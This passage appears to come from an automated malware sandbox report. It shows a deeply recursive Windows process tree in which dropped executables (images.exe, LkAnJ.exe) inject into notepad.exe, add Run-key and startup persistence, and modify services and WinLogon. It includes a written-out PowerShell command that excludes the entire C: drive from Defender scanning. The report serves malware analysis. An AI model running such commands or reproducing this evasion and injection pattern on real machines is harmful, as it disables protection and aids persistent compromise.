- Adds Run key to start application
PID:1764 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath C:\6⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1840 -
C:\ProgramData\images.exe"C:\ProgramData\images.exe"6⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: MapViewOfSection
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1884 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"7⤵PID:1580
-
C:\ProgramData\images.exe"C:\ProgramData\images.exe"7⤵
- Suspicious use of AdjustPrivilegeToken
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies service
- Modifies WinLogon
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1656 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath C:\8⤵
- Suspicious use of AdjustPrivilegeToken
PID:652 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe"8⤵PID:468
-
C:\ProgramData\images.exe"C:\ProgramData\images.exe" 2 1656 756917⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:1940 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1764 733205⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:1352 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"6⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1644 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"7⤵
- Drops startup file
PID:1896 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"7⤵
- Executes dropped EXE
PID:1960 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1960 759257⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:1964 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"8⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2044 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"9⤵
- Drops startup file
PID:1472 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"9⤵
- Executes dropped EXE
PID:1564 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1564 773149⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:340 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"10⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1056 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"11⤵
- Drops startup file
PID:792 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"11⤵
- Executes dropped EXE
PID:1612 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1612 7865511⤵
- Loads dropped DLL
- Executes dropped EXE
PID:1520 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"12⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1588 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"13⤵PID:1972
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"13⤵
- Executes dropped EXE
PID:1576 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1576 8035613⤵
- Loads dropped DLL
- Executes dropped EXE
PID:1172 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"14⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2044 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"15⤵PID:876
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"15⤵
- Executes dropped EXE
PID:512 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 512 8213415⤵
- Loads dropped DLL
- Executes dropped EXE
PID:1488 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"16⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1696 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"17⤵PID:1000
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"17⤵
- Executes dropped EXE
PID:1860 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1860 8346017⤵
- Loads dropped DLL
- Executes dropped EXE
PID:1132 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"18⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1980 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"19⤵PID:1192
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"19⤵
- Executes dropped EXE
PID:1936 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1936 8480219⤵
- Loads dropped DLL
- Executes dropped EXE
PID:1836 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"20⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1816 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"21⤵
- Drops startup file
PID:652 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"21⤵
- Executes dropped EXE
PID:2016 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2016 8619021⤵
- Loads dropped DLL
- Executes dropped EXE
PID:788 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"22⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1184 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"23⤵PID:512
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"23⤵
- Executes dropped EXE
PID:1760 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1760 8770323⤵
- Loads dropped DLL
- Executes dropped EXE
PID:1056 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"24⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1232 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"25⤵PID:1268
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"25⤵
- Executes dropped EXE
PID:1256 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1256 8909225⤵
- Loads dropped DLL
- Executes dropped EXE
PID:1548 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"26⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2040 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"27⤵PID:988
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"27⤵
- Executes dropped EXE
PID:1824 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1824 9057427⤵
- Loads dropped DLL
- Executes dropped EXE
PID:1908 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"28⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1836 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"29⤵
- Drops startup file
PID:1368 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"29⤵
- Executes dropped EXE
PID:1816 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1816 9183729⤵
- Loads dropped DLL
- Executes dropped EXE
PID:1496 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"30⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1680 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"31⤵PID:1524
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"31⤵
- Executes dropped EXE
PID:1516 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1516 9319431⤵
- Loads dropped DLL
- Executes dropped EXE
PID:480 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"32⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1252 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"33⤵PID:1168
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"33⤵
- Executes dropped EXE
PID:1868 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1868 9445833⤵
- Loads dropped DLL
- Executes dropped EXE
PID:1412 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"34⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1544 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"35⤵PID:1984
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"35⤵
- Executes dropped EXE
PID:1976 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1976 9575335⤵
- Loads dropped DLL
- Executes dropped EXE
PID:1552 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"36⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:304 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"37⤵PID:736
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"37⤵
- Executes dropped EXE
PID:340 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 340 9725137⤵
- Loads dropped DLL
- Executes dropped EXE
PID:788 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"38⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1768 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"39⤵PID:1128
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"39⤵
- Executes dropped EXE
PID:1852 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1852 9860839⤵
- Loads dropped DLL
- Executes dropped EXE
PID:1724 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"40⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1592 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"41⤵PID:1812
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"41⤵
- Executes dropped EXE
PID:1256 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1256 9999641⤵
- Loads dropped DLL
- Executes dropped EXE
PID:2036 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"42⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:756 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"43⤵PID:1368
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"43⤵
- Executes dropped EXE
PID:520 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 520 10149443⤵
- Loads dropped DLL
- Executes dropped EXE
PID:1836 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"44⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1816 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"45⤵PID:1496
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"45⤵PID:1760
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1760 10286745⤵PID:1784
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"46⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:1516 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"47⤵PID:292
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"47⤵PID:1840
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1840 10411547⤵PID:452
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"48⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:616 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"49⤵PID:1552
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"49⤵PID:2016
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2016 10550349⤵PID:1912
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"50⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:1052 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"51⤵PID:1240
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"51⤵PID:2012
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2012 10686051⤵PID:1760
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"52⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:1176 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"53⤵PID:1312
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"53⤵PID:1576
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1576 10832753⤵PID:452
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"54⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:784 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"55⤵PID:1172
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"55⤵PID:1472
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1472 10973155⤵PID:1228
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"56⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:1784 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"57⤵PID:288
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"57⤵PID:1528
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1528 11102557⤵PID:1412
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"58⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:552 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"59⤵PID:1488
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"59⤵PID:788
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 788 11241459⤵PID:340
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"60⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:1616 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"61⤵PID:1492
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"61⤵PID:1056
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1056 11378761⤵PID:1772
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"62⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:1412 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"63⤵PID:1964
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"63⤵PID:480
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 480 11534763⤵PID:788
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"64⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:1844 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"65⤵PID:1528
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"65⤵PID:676
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 676 11689165⤵PID:2000
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"66⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2020 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"67⤵
- Drops startup file
PID:1228 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"67⤵PID:480
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 480 11842067⤵PID:1160
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"68⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:1856 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"69⤵PID:1840
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"69⤵PID:1836
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1836 11982469⤵PID:1632
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"70⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:1772 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"71⤵
- Drops startup file
PID:324 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"71⤵PID:1764
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 1764 12122871⤵PID:340
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"72⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2064 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"73⤵PID:2088
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"73⤵PID:2104
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2104 12252373⤵PID:2128
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"74⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2156 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"75⤵
- Drops startup file
PID:2180 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"75⤵PID:2196
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2196 12402075⤵PID:2220
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"76⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2248 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"77⤵PID:2272
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"77⤵PID:2288
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2288 12542477⤵PID:2312
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"78⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2436 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"79⤵
- Drops startup file
PID:2460 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"79⤵PID:2476
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2476 12667279⤵PID:2500
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"80⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2532 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"81⤵
- Drops startup file
PID:2556 -
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"81⤵PID:2572
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2572 12810881⤵PID:2592
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"82⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2632 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"83⤵PID:2656
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"83⤵PID:2672
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2672 12952783⤵PID:2696
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"84⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2724 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"85⤵PID:2748
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"85⤵PID:2764
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe" 2 2764 13090085⤵PID:2788
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"86⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetThreadContext
PID:2816 -
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"87⤵PID:2840
-
C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"C:\Users\Admin\AppData\Local\Temp\LkAnJ.exe"87⤵PID:2856
-
